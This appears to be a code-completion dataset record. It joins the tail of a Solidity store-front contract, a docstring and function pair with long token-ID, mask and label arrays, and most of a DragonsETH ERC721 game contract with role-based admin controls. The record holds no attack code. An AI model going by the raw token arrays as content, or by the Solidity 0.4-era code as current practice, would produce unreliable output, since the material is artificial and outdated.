count = count.add(1);
}
}
return list;
}
/// @notice To get more details about a particular store for store owner
/// @param _store is the selected store
/// @return The store name, store id and remaining balance
function getStoreByIdOwner(uint _store) public view returns(string, uint, uint) {
return (StoreFront[_store].storeName, _store, StoreFront[_store].balance);
}
/// @notice To get more details about a particular store
/// @param _store is the selected store
/// @return The store name and store id
function getStoreById(uint _store) public view returns(string, uint) {
return (StoreFront[_store].storeName, _store);
}
/// @notice To get a list of all products
/// @return A list of all products
function getProducts() public view returns(uint[]) {
return productArray;
}
/// @notice A list of all products by store
/// @param _store for which products are to be retrieved
/// @return A list of all products
function getProductsByStore(uint _store) public view returns(uint[]){
uint count = 0;
for(uint i = 0; i < productArray.length; i++) {
if(ProductList[i].store == _store){
count = count.add(1);
}
}
uint[] memory list = new uint[](count);
count = 0;
for(uint j = 0; j < productArray.length; j++) {
if(ProductList[j].store == _store){
list[count] = productArray[j];
count = count.add(1);
}
}
return list;
}
/// @notice More details about a product by product id
/// @param _product id for which products are to be retrieved
/// @return Product Name, Quantity, Price and Product Id
function getProductById(uint _product) public view returns(string, uint, uint, uint) {
return (ProductList[_product].name, ProductList[_product].quantity, ProductList[_product].price, _product);
}
/// @notice To buy a product listed
/// @param _productCode is the id for the product to be bought
function buyProduct(uint _productCode) public payable stopInEmergency{
require(ProductList[_productCode].quantity > 0, "There should be products available");
require(msg.value >= ProductList[_productCode].price, "The amount sent should be equal or more than price of product");
StoreFront[ProductList[_productCode].store].balance = StoreFront[ProductList[_productCode].store].balance.add(msg.value);
ProductList[_productCode].quantity = ProductList[_productCode].quantity.sub(1);
}
/// @notice To get the balance stored in the contract
/// @return Balance stored in the contract
function getContractBalance() public onlyAdmin view returns (uint) {
return address(this).balance;
}
/// @notice To change circuit breaker state
function toggleCircuitBreaker() public onlyAdmin{
stopped = !stopped;
}
/// @notice To destroy the contract in case of emergencies
function destroyContract() public onlyAdmin {
selfdestruct(this);
}
}
| @notice To get the balance stored in the contract @return Balance stored in the contract | function getContractBalance() public onlyAdmin view returns (uint) {
return address(this).balance;
}
| 15,843,860 | [
1,
774,
336,
326,
11013,
4041,
316,
326,
6835,
327,
30918,
4041,
316,
326,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
336,
8924,
13937,
1435,
1071,
1338,
4446,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
1758,
12,
2211,
2934,
12296,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.23;
contract Necropolis {
function addDragon(address _lastDragonOwner, uint256 _dragonID, uint256 _deathReason) external;
}
contract GenRNG {
function getNewGens(address _from, uint256 _dragonID) external returns (uint256[2] resultGen);
}
contract DragonSelectFight2Death {
function addSelctFight2Death(
address _dragonOwner,
uint256 _yourDragonID,
uint256 _oppDragonID,
uint256 _endBlockNumber,
uint256 _priceSelectFight2Death
)
external;
}
contract DragonsRandomFight2Death {
function addRandomFight2Death(address _dragonOwner, uint256 _DragonID) external;
}
contract FixMarketPlace {
function add2MarketPlace(address _dragonOwner, uint256 _dragonID, uint256 _dragonPrice, uint256 _endBlockNumber) external returns (bool);
}
contract Auction {
function add2Auction(
address _dragonOwner,
uint256 _dragonID,
uint256 _startPrice,
uint256 _step,
uint256 _endPrice,
uint256 _endBlockNumber
)
external
returns (bool);
}
contract DragonStats {
function setParents(uint256 _dragonID, uint256 _parentOne, uint256 _parentTwo) external;
function setBirthBlock(uint256 _dragonID) external;
function incChildren(uint256 _dragonID) external;
function setDeathBlock(uint256 _dragonID) external;
function getDragonFight(uint256 _dragonID) external view returns (uint256);
}
contract SuperContract {
function checkDragon(uint256 _dragonID) external returns (bool);
}
contract Mutagen2Face {
function addDragon(address _dragonOwner, uint256 _dragonID, uint256 mutagenCount) external;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
contract RBACWithAdmin is RBAC {
/**
* A constant role name for indicating admins.
*/
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_PAUSE_ADMIN = "pauseAdmin";
/**
* @dev modifier to scope access to admins
* // reverts
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
modifier onlyPauseAdmin()
{
checkRole(msg.sender, ROLE_PAUSE_ADMIN);
_;
}
/**
* @dev constructor. Sets msg.sender as admin by default
*/
constructor()
public
{
addRole(msg.sender, ROLE_ADMIN);
addRole(msg.sender, ROLE_PAUSE_ADMIN);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function adminAddRole(address addr, string roleName)
onlyAdmin
public
{
addRole(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function adminRemoveRole(address addr, string roleName)
onlyAdmin
public
{
removeRole(addr, roleName);
}
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public payable;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public payable;
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existance of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* @dev The zero address indicates there is no approved address.
* @dev There can only be one approved address per token at a given time.
* @dev Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public payable{
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
if (msg.value > 0 && _to != address(0)) _to.transfer(msg.value);
if (msg.value > 0 && _to == address(0)) owner.transfer(msg.value);
emit Approval(owner, _to, _tokenId);
}
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for a the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public payable canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
if (msg.value > 0) _to.transfer(msg.value);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
payable
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
payable
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) public view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @dev Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* @dev The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. This function MUST use 50,000 gas or less. Return of other
* than the magic value MUST result in the transaction being reverted.
* Note: the contract address is always the message sender.
* @param _from The sending address
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
*/
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
// mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
bytes constant firstPartURI = "https://www.dragonseth.com/image/";
function tokenURI(uint256 _tokenId) external view returns (string) {
require(exists(_tokenId));
bytes memory tmpBytes = new bytes(96);
uint256 i = 0;
uint256 tokenId = _tokenId;
// for same use case need "if (tokenId == 0)"
while (tokenId != 0) {
uint256 remainderDiv = tokenId % 10;
tokenId = tokenId / 10;
tmpBytes[i++] = byte(48 + remainderDiv);
}
bytes memory resaultBytes = new bytes(firstPartURI.length + i);
for (uint256 j = 0; j < firstPartURI.length; j++) {
resaultBytes[j] = firstPartURI[j];
}
i--;
for (j = 0; j <= i; j++) {
resaultBytes[j + firstPartURI.length] = tmpBytes[i - j];
}
return string(resaultBytes);
}
/*
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
*/
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* @dev Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
/*
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
*/
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
/*
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
*/
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Gets the list of tokens owned by a given address
* @param _owner address to query the tokens of
* @return uint256[] representing the list of tokens owned by the passed address
*/
function tokensOf(address _owner) external view returns (uint256[]) {
return ownedTokens[_owner];
}
}
contract DragonsETH_GC is RBACWithAdmin {
GenRNG public genRNGContractAddress;
FixMarketPlace public fmpContractAddress;
DragonStats public dragonsStatsContract;
Necropolis public necropolisContract;
Auction public auctionContract;
SuperContract public superContract;
DragonSelectFight2Death public selectFight2DeathContract;
DragonsRandomFight2Death public randomFight2DeathContract;
Mutagen2Face public mutagen2FaceContract;
address wallet;
uint8 adultDragonStage = 3;
bool stageThirdBegin = false;
uint256 constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
uint256 public secondsInBlock = 15;
uint256 public priceDecraseTime2Action = 0.000005 ether; // 1 block
uint256 public priceRandomFight2Death = 0.02 ether;
uint256 public priceSelectFight2Death = 0.03 ether;
uint256 public priceChangeName = 0.01 ether;
uint256 public needFightToAdult = 100;
function changeGenRNGcontractAddress(address _genRNGContractAddress) external onlyAdmin {
genRNGContractAddress = GenRNG(_genRNGContractAddress);
}
function changeFMPcontractAddress(address _fmpContractAddress) external onlyAdmin {
fmpContractAddress = FixMarketPlace(_fmpContractAddress);
}
function changeDragonsStatsContract(address _dragonsStatsContract) external onlyAdmin {
dragonsStatsContract = DragonStats(_dragonsStatsContract);
}
function changeAuctionContract(address _auctionContract) external onlyAdmin {
auctionContract = Auction(_auctionContract);
}
function changeSelectFight2DeathContract(address _selectFight2DeathContract) external onlyAdmin {
selectFight2DeathContract = DragonSelectFight2Death(_selectFight2DeathContract);
}
function changeRandomFight2DeathContract(address _randomFight2DeathContract) external onlyAdmin {
randomFight2DeathContract = DragonsRandomFight2Death(_randomFight2DeathContract);
}
function changeMutagen2FaceContract(address _mutagen2FaceContract) external onlyAdmin {
mutagen2FaceContract = Mutagen2Face(_mutagen2FaceContract);
}
function changeSuperContract(address _superContract) external onlyAdmin {
superContract = SuperContract(_superContract);
}
function changeWallet(address _wallet) external onlyAdmin {
wallet = _wallet;
}
function changePriceDecraseTime2Action(uint256 _priceDecraseTime2Action) external onlyAdmin {
priceDecraseTime2Action = _priceDecraseTime2Action;
}
function changePriceRandomFight2Death(uint256 _priceRandomFight2Death) external onlyAdmin {
priceRandomFight2Death = _priceRandomFight2Death;
}
function changePriceSelectFight2Death(uint256 _priceSelectFight2Death) external onlyAdmin {
priceSelectFight2Death = _priceSelectFight2Death;
}
function changePriceChangeName(uint256 _priceChangeName) external onlyAdmin {
priceChangeName = _priceChangeName;
}
function changeSecondsInBlock(uint256 _secondsInBlock) external onlyAdmin {
secondsInBlock = _secondsInBlock;
}
function changeNeedFightToAdult(uint256 _needFightToAdult) external onlyAdmin {
needFightToAdult = _needFightToAdult;
}
function changeAdultDragonStage(uint8 _adultDragonStage) external onlyAdmin {
adultDragonStage = _adultDragonStage;
}
function setStageThirdBegin() external onlyAdmin {
stageThirdBegin = true;
}
function withdrawAllEther() external onlyAdmin {
require(wallet != 0);
wallet.transfer(address(this).balance);
}
// EIP-165 and EIP-721
bytes4 constant ERC165_Signature = 0x01ffc9a7;
bytes4 constant ERC721_Signature = 0x80ac58cd;
bytes4 constant ERC721Metadata_Signature = 0x5b5e139f;
